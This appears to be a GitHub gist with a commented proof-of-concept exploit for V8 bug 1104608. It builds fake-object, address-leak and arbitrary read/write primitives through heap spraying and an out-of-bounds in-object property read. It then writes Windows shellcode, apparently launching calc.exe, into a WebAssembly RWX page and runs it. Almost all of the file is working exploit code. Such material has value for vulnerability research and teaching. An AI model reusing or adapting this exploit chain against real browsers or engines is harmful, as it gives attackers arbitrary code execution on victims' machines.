Last active
November 24, 2023 07:51
-
-
Save mistymntncop/e417e48b660e39e0ab74cbfe43319304 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// POC Exploit for v8 issue 1104608 (https://bugs.chromium.org/p/chromium/issues/detail?id=1104608) | |
// author: @mistymntncop | |
// bug discovered by: @r3tr0spect2019 | |
// Exploit strategy based on @r3tr0spect2019's "Real World CTF" presentation on the bug. | |
// https://www.youtube.com/watch?v=rSaIlBWwxsY | |
// | |
// Build d8 using: | |
// a) Run once | |
// git checkout 3505cf00eb4c59b87f4b5ec9fc702f7935fdffd0 | |
// gclient sync --with_branch_heads | |
// gclient sync -f --with_branch_heads //pass -f flag to force | |
// | |
// b) | |
// Debug Build: | |
// ninja -C ./out/x64.debug d8 | |
// | |
// Release Build: | |
// ninja -C ./out/x64.release d8 | |
// | |
// Run using (USE RELEASE BUILD): | |
// /path/to/v8/out/x64.release/d8 --allow-natives-syntax exploit-1104608.js | |
//These 2 functions cause the garbage collector to be triggered | |
//This is useful for freeing objects and also moving | |
//objects from the NewSpace to the OldSpace | |
//The --trace-gc flag can be used to view GC events. | |
function gc_minor() { //scavenge | |
for(let i = 0; i < 1000; i++) { | |
new ArrayBuffer(0x10000); | |
} | |
} | |
//https://tiszka.com/blog/CVE_2021_21225_exploit.html | |
//Trick #2: Triggering Major GC without spraying the heap | |
//Allows us to trigger GC without polluting the Newspace heap | |
function gc_major() { //mark-sweep | |
new ArrayBuffer(0x7fe00000); | |
} | |
function hex(n) { | |
return "0x" + n.toString(16); | |
} | |
function hex_addr(addr) { | |
return "0x" + addr[1].toString(16) + addr[0].toString(16); | |
} | |
//Convenience functions for converting "float to int" and "int to float". | |
var buf = new ArrayBuffer(8); | |
var f64_buf = new Float64Array(buf); | |
var u32_buf = new Uint32Array(buf); | |
function ftoi(val) { | |
f64_buf[0] = val; | |
return [u32_buf[0], u32_buf[1]]; | |
} | |
function itof(lo, hi) { | |
u32_buf[0] = lo; | |
u32_buf[1] = hi; | |
return f64_buf[0]; | |
} | |
//Create a small integer value | |
function smi(val) { | |
return val << 1; | |
} | |
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); | |
var wasm_mod = new WebAssembly.Module(wasm_code); | |
var wasm_instance = new WebAssembly.Instance(wasm_mod); | |
var f = wasm_instance.exports.main; | |
//From https://github.com/r4j0x00/exploits/blob/master/CVE-2020-16040/exploit.js | |
//Windows shellcode | |
var shellcode = [ | |
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, | |
0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, | |
0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, | |
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, | |
0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, | |
0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, | |
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, | |
0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, | |
0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, | |
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, | |
0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, | |
0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, | |
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, | |
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00 | |
]; | |
//https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_37975/ | |
// As observed by Man Yue Mo: | |
// "... So it looks like the map is allocated at a fixed offset that depends only on the version of v8 and whether it is | |
// launched from d8 or on Chrome ..." | |
// | |
// We will take advantage of this observation for the explout and use | |
// hardcoded address for the object maps instead of leaking addresses. | |
// Thanks to pointer compression we only need 32 bits for a valid address. | |
const FIXED_ARRAY_MAP = 0x080404b1; | |
const PACKED_ELEMENTS_MAP = 0x08241959; | |
const PACKED_DOUBLE_ELEMENTS_MAP = 0x08241909; | |
const HOLEY_DOUBLE_ELEMENTS_MAP = 0x08241931; | |
const JS_ARRAY_PROPERTIES = 0x080406e9; | |
// Same strategy applies for the large array address. | |
const LARGE_ADDR = 0x08400121; | |
const JS_ARRAY_HEADER_SIZE = 16; | |
const FIXED_ARRAY_HEADER_SIZE = 8; | |
const FAKE_JS_ARRAY_ADDR = LARGE_ADDR + FIXED_ARRAY_HEADER_SIZE; | |
const FAKE_JS_ARRAY_SIZE = 16; | |
const FAKE_JS_ARRAY_ELEMENTS_ADDR = FAKE_JS_ARRAY_ADDR + FAKE_JS_ARRAY_SIZE; | |
//To exploit this bug we will need to create a TypedArray JS object with in-object properties. | |
// | |
//In-object proprties are properties that are created inline after the JS object. This is useful for | |
//exploitation as we can influence the memory from where JS objects are allocated from. | |
// | |
//By creating a class that extends a typed-array it creates capacity for 10 in-object properties. | |
//Subsequent properties will be allocated using this in-object property storage. | |
////See https://v8.dev/blog/slack-tracking for more information. | |
class Arr extends Int8Array {}; | |
//The array has to be large enough to allow for the vulnerable property key | |
//"4294967295" (0xFFFFFFFF) to be accessed legally. This is why the array is | |
//size 4294967296 (0x100000000). | |
//One side effect of allocating an array this large is that it causes a major GC event. | |
//For reasons unknown these 2 variables HAVE to be global??? | |
var arr = new Arr(0x100000000); | |
var arr2 = null; | |
//Predefine the fake JSArray | |
var fake = null; | |
//Large array buffer which contains the fake array | |
//As observed by @btiszka's blog https://tiszka.com/blog/CVE_2021_21225_exploit.html | |
//"objects in Large Object space will remain in a static location" | |
//This means that our large array will not be moved by GC. This will | |
//allow us to create a stable fake object. | |
var large = new Array(0x10000); | |
large.fill(itof(0xDEADBEE0, 0)); //change array type to HOLEY_DOUBLE_ELEMENTS_MAP | |
//Setup the memory of the fake JSArray inside the large array. | |
//We will use our fake_obj primitive to create a fake JSArray later. | |
large[0] = itof(PACKED_ELEMENTS_MAP, JS_ARRAY_PROPERTIES); | |
large[1] = itof(FAKE_JS_ARRAY_ELEMENTS_ADDR, smi(0)); | |
//Not strictly needed for the exploit but needed so DebugPrint doesn't crash. | |
large[2] = itof(FIXED_ARRAY_MAP, smi(0)); | |
//Each element is 8 bytes in size, there are 0x10000 elements, the large array is | |
//0x80000 bytes in size. | |
//8 * 0x10000 = 0x80000 | |
//The large array allocation size is larger than Page::kMaxRegularHeapObjectSize | |
//0x80000 > Page::kMaxRegularHeapObjectSize | |
//0x80000 > (1 << 17) | |
//0x80000 > 0x20000 | |
//8 * 0x200 = 0x1000 bytes | |
//Each element is 8 bytes in size and there is 0x200 elements. | |
//The resulting size of the array elements will be 0x1000 bytes. | |
//This extra calculation just accomodates for array metadata so the resulting | |
//allocation is exactly 0x1000 bytes (not strictly needed). | |
var base_block = new Array(0x200-((JS_ARRAY_HEADER_SIZE + FIXED_ARRAY_HEADER_SIZE)/8)); | |
base_block.fill(itof(0xDEADBEE0, 0)); //Change array type to HOLEY_DOUBLE_ELEMENTS_MAP | |
function crap_fake_obj(addr) { | |
//We trigger GC to create a fresh NewSpace. This is desirable because | |
//a heap spray is needed to perform this fake_obj primitive and we don't | |
//want the NewSpace polluted with irrelevant objects. | |
gc_major(); | |
const f64_val = itof(addr, addr); | |
let sprayed = new Array(0x100); //0x100 | |
//Spray the address of the fake object on the NewSpace heap. | |
//Add the blocks to an array to prevent | |
//the blocks from being reclaimed from GC | |
for(let i = 0; i < sprayed.length; i++) { | |
let block = Array.from(base_block); | |
block.fill(f64_val); | |
sprayed[i] = block; | |
} | |
//%SystemBreak(); | |
//Frees the sprayed blocks leaving the old NewSpace block memory | |
//available to be reclaimed. | |
//You may notice that the exploit still works even if you comment the | |
//"sprayed = null;" line. This is because the sprayed blocks get moved | |
//from the the NewSpace to the OldSpace. | |
//In both cases the old memory remains uncleared and | |
//still contains the value of the sprayed address. | |
sprayed = null; | |
gc_major(); | |
//Trigger the bug by accessing the property key "4294967295" multiple times. | |
for(let i = 0; i < 0x40; i++) { | |
arr["4294967295"]; | |
} | |
//If a number of instances of the Arr class are created and the in-order | |
//properties are not used then subsequent created Arr instances will be created | |
//with no in-object properties. | |
//See: https://v8.dev/blog/slack-tracking | |
//Uncomment "%DebugPrint(unused);" to see the "construction counter" | |
//decrease until it reaches zero. | |
for(let i = 0; i < 6; i++) { | |
let unused = new Arr(1); | |
//print("==============================================================="); | |
//%DebugPrint(unused); | |
} | |
//Allocates a copy of the arr object (with no in-order properties) | |
//on in the NewSpace heap reclaiming the memory of an old block. | |
//The 1 element OOB (in-object) property read contains the address | |
//of the fake object. This allows us to create a fake_obj primitive. | |
//We don't need to the 0x100000000 size anymore so we take a 1 byte slice. | |
//This is useful as we want to %DebugPrint this object without incurring a delay. | |
arr2 = arr.slice(0,1); | |
//Read 1 element OOB of in-object properties for arr2 | |
//e.g. arr2.inobject_properties[0] | |
let fake = arr2["4294967295"]; | |
//%DebugPrint(fake); | |
//%SystemBreak(); | |
return fake; | |
} | |
function addr_of(obj) { | |
large[0] = itof(PACKED_ELEMENTS_MAP, JS_ARRAY_PROPERTIES); | |
large[1] = itof(FAKE_JS_ARRAY_ELEMENTS_ADDR, smi(1)); | |
fake[0] = obj; | |
let addr = ftoi(large[3])[0]; | |
//prevents GC from crashing in some cases | |
large[1] = itof(0, smi(0)); | |
return addr; | |
} | |
function read64(addr) { | |
addr |= 1; | |
addr -= FIXED_ARRAY_HEADER_SIZE; | |
large[0] = itof(PACKED_DOUBLE_ELEMENTS_MAP, JS_ARRAY_PROPERTIES); | |
large[1] = itof(addr, smi(1)); | |
let result = ftoi(fake[0]); | |
large[1] = itof(0, smi(0)); | |
return result; | |
} | |
function write32(addr, val) { | |
let original = read64(addr); | |
addr |= 1; | |
addr -= FIXED_ARRAY_HEADER_SIZE; | |
large[0] = itof(PACKED_DOUBLE_ELEMENTS_MAP, JS_ARRAY_PROPERTIES); | |
large[1] = itof(addr, smi(1)); | |
fake[0] = itof(val, original[1]); | |
large[1] = itof(0, smi(0)); | |
} | |
function write64(addr, lo, hi) { | |
addr |= 1; | |
addr -= FIXED_ARRAY_HEADER_SIZE; | |
large[0] = itof(PACKED_DOUBLE_ELEMENTS_MAP, JS_ARRAY_PROPERTIES); | |
large[1] = itof(addr, smi(1)); | |
fake[0] = itof(lo, hi); | |
large[1] = itof(0, smi(0)); | |
} | |
function copy_shellcode(rwx_page, shellcode) { | |
let buf = new ArrayBuffer(0x1000); | |
let dataview = new DataView(buf); | |
let buf_addr = addr_of(buf); | |
let ptr_to_backing_store_addr = buf_addr + 0x14; | |
write64(ptr_to_backing_store_addr, rwx_page[0], rwx_page[1]); | |
for(let i = 0; i < shellcode.length; i++) { | |
dataview.setUint8(i, shellcode[i]); | |
} | |
} | |
//We need to create the initial fake JSArray before the other primitives can be used. | |
fake = crap_fake_obj(FAKE_JS_ARRAY_ADDR); | |
print("Large Space Array:"); | |
%DebugPrint(large); | |
print("Fake JSArray:"); | |
%DebugPrint(fake); | |
print("Wasm Instance:"); | |
%DebugPrint(wasm_instance); | |
//Read the address of the wasm instance and then read the | |
//value of the jump_table_start field to find the rwx page. | |
let wasm_instance_addr = addr_of(wasm_instance); | |
const kJumpTableStartOffset = 0x68; | |
let rwx_page = read64(wasm_instance_addr + kJumpTableStartOffset); | |
let wasm_instance_map_addr = read64(wasm_instance_addr)[0]; | |
let wasm_instance_map = crap_fake_obj(wasm_instance_map_addr); | |
print("wasm_instance address: " + hex(wasm_instance_addr)); | |
print("wasm jmp_start_address: " + hex_addr(rwx_page)); | |
copy_shellcode(rwx_page, shellcode); | |
f(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment